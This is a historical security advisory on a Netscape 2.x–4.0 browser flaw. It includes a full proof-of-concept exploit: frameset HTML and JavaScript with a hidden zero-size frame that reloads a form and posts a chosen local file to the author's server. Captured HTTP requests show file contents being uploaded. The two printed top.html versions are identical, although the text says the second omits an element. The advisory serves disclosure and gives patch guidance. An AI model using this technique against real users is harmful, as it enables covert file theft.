COMMAND
Netscape
SYSTEMS AFFECTED
Systems running Netscape 2.x, 3.x and 4.0 (Windows, Macintosh,
and Unix)
PROBLEM
The bug makes it possible for Web-site operators to read anything
stored on the hard drive of a PC logged on to the Web site.
CNNfn's (they found it) test showed that Internet security
firewalls offer no protection from the bug.
To exploit this you have to know information about victim's
system and you also have to know the file name you want to abuse.
No techinal details yet. There are rumours that this is probably
caused by the support of <INPUT TYPE=FILE> tag. This tag allows
you to send a file to a server side CGI program with the
multi-part mime type. As it is an "Input type" tag, you can
assign a default value to it. You can than write maybe a Java or
a JavaScript to force submit the form data containing the content
of the specified file to your CGI program.
Below, is what Paul T. Kooros sent to Netscape, and mainly
exploits a bug in how Netscape repopulates form data should you
reload (or go back in history to) a form which you previously
filled in. As a security measure, <INPUT TYPE="FILE" ...> have
never been initializable via a VALUE= attribute or using
JavaScript. As a convenience measure, Netscape tries to remember
what you had typed into a form previously, and repopulate it if
you should press reload or go back in your browser history. The
bug manifests itself when you reload a form, but change slightly
the form contents.
The form below, in the frame TopFrame, has two elements in advance
of <INPUT TYPE="FILE" ...>, a HIDDEN and a TEXT. The TEXT is
wickedly initialized with the secret evil filename. When the
form is reloaded, the server (via a CGI script, for example)
generates a slightly different form, minus only the HIDDEN
element. Netscape mistakenly fills in the FILE field with what
was in the TEXT box. The form is then submitted using JavaScript.
You might note that the user sees only the bottom frame,
containing the history of shoelaces or whatever, while
unbeknownst to him in a 0-size frame, the form is loading,
reloading, submitting and uploading.
You should note, of course, that file access is with the
premissions of the user only, not with root or any other more
intrusive privs.
Testing Notes: To see what is happening in the top frame, just
change "0,*" to "400,*" or something in the FRAMESET tag. Paul
will try to come up with a CGI script which automates the form
change. Increase the timeout in the onLoad attrib to get more
time to make the change. barb@labyrinth.com suggested that the
form might be generated entirely using JavaScript, with the
script loading the frame.
------------ >8 --------------- >8 --------------- >8 ------------
Bug Symptom:
------------
Malicious server can obtain any client file of known filename
Bug How-to:
-----------
(1) Server supplied obscured (zero size, scrolling=no,
noresize) frame source contains a form with an <INPUT
TYPE="FILE"> element.
(2) Server supplies companion non-obscured frame, which
contains an apparently legitimate link to somewhere else.
(3) After a brief JavaScript timeout, the obscured frame is
reloaded. BUT this time, the server supplies a slightly
different form source with one fewer element before the
<INPUT TYPE="FILE"...>. This causes the initialization
string from the previous element (a <INPUT TYPE="TEXT">
in the example below) to be scooted down into the FILE
element filename box.
(4) The non-obscured frame the submits the form, either as a
JavaScript setTimeout(), or to be more sneaky, as an
onClick action of the apparently legitimate link. Thus
the file is transmitted.
Below are the sample files I used to exploit the bug, followed by
the HTTP request made by the client to my bogus debug server
(port 8180). Please note that I simulated the changed file of
(3) by quickly saving out a new copy of the obscured frame
(top.html) from my editor, rather than writing a CGI which kept
state and handed out alternate versions. (The first form
element, a HIDDEN, is "commented" out).
------------------------------------------------------------------
:: Main HTML file first.html
------------------------------------------------------------------
<HTML> <HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<FRAMESET ROWS="0,*">
<FRAME NAME="TopFrame" SRC="top.html" SCROLLING="NO" NORESIZE>
<FRAME NAME="BottomFrame" SRC="bottom.html">
</FRAMESET>
</HTML>
------------------------------------------------------------------
:: Obscured frame (1st case) top.html
------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<BODY>
<P>
<FORM ENCTYPE="multipart/form-data" ACTION="http://kooros.kooros.COM:8180/bogus" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="z" VALUE="Whatever"><BR>
Name of the file I want:
<INPUT TYPE="TEXT" NAME="Uname" VALUE="/my/secret/filename"><BR>
File:<INPUT TYPE="FILE" NAME="Fname"><BR>
Submit:<INPUT TYPE="SUBMIT" NAME="Sub" VALUE="Go"><BR>
Reset:<INPUT TYPE="RESET" NAME="Res" VALUE="Reset"><BR>
</FORM>
</BODY>
</HTML>
------------------------------------------------------------------
:: Obscured frame (2nd case) top.html
------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<BODY>
<P>
<FORM ENCTYPE="multipart/form-data" ACTION="http://kooros.kooros.COM:8180/bogus" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="z" VALUE="Whatever"><BR>
Name of the file I want:
<INPUT TYPE="TEXT" NAME="Uname" VALUE="/my/secret/filename"><BR>
File:<INPUT TYPE="FILE" NAME="Fname"><BR>
Submit:<INPUT TYPE="SUBMIT" NAME="Sub" VALUE="Go"><BR>
Reset:<INPUT TYPE="RESET" NAME="Res" VALUE="Reset"><BR>
</FORM>
</BODY>
</HTML>
------------------------------------------------------------------
:: NON-Obscured frame bottom.html
------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<!-- 1000ms long enough to load initial top form? -->
<BODY onLoad="setTimeout('do_evil();', 1000);">
This is a <A HREF="http://www.yahoo.com/" TARGET="_top"
onClick="parent.frames[0].document.forms[0].submit();return true;">link</A> to somewhere legitimate.
</BODY>
</HTML>
<SCRIPT LANGUAGE="JavaScript">
function do_evil() {
p=parent.frames[0];
f=p.document.forms[0];
p.history.go(0);
// Optional Evilness for automatic submission:
// setTimeout("parent.frames[0].document.forms[0].submit();", 1000);
}
</SCRIPT>
------------------------------------------------------------------
:: Resulting Output from exploiting bug on Mozilla/3.01 SunOS4.1.4 UNIX:
------------------------------------------------------------------
POST /bogus HTTP/1.0
Referer: file:/jaz/web/fupld/top.html
Connection: Keep-Alive
User-Agent: Mozilla/3.01 (X11; I; SunOS 4.1C sun4)
Host: kooros.kooros.COM:8180
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-type: multipart/form-data; boundary=---------------------------8720784031874748096916896761
Content-Length: 369
-----------------------------8720784031874748096916896761
Content-Disposition: form-data; name="Uname"
/jaz/web/fupld/foofile.x
-----------------------------8720784031874748096916896761
Content-Disposition: form-data; name="Fname"; filename="foofile.x"
This is a test file
with three lines
in it.
-----------------------------8720784031874748096916896761--
------------------------------------------------------------------
:: Resulting Output from exploiting bug on Mozilla/3.01 Win95:
------------------------------------------------------------------
POST /bogus HTTP/1.0
Referer: file://Kooros/jaz/web/fupld/top.html
Proxy-Connection: Keep-Alive
Host: kooros.kooros.COM:8180
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-type: multipart/form-data; boundary=---------------------------2635128057161
Content-Length: 309
User-Agent: Mozilla/3.01 (Win95; I) via proxy gateway CERN-HTTPD/3.0 libwww/2.17
-----------------------------2635128057161
Content-Disposition: form-data; name="Uname"
C:\paul\foom
-----------------------------2635128057161
Content-Disposition: form-data; name="Fname"; filename="C:\paul\foom"
This is a secret
file of two lines.
-----------------------------2635128057161--
SOLUTION
To remove any risk of this bug, Navigator users should download
the updated version of Communicator or Navigator, that includes
the fix. In the interim, users of Navigator 3.0 and Communicator
4.0 can take the following steps to enable warning dialog boxes
to detect and cancel form submissions:
In Navigator 3.0: Go to the Options menu and select Security
Preferences. Select the "Submitting a Form
Insecurely" preference to enable that warning
dialog box.
In Navigator 4.0: Select the lock in the toolbar to open the
Security Advisor. Select Navigator, then select
the "Sending Unencrypted Information to a Site"
preference to enable that warning dialog box.
Communicator 4.01 for Windows (includes the fix for this):
http://home.netscape.com/download/client_download.html?communicator4.01
Users of Netscape 3.0 should upgrade to Netscape 3.02.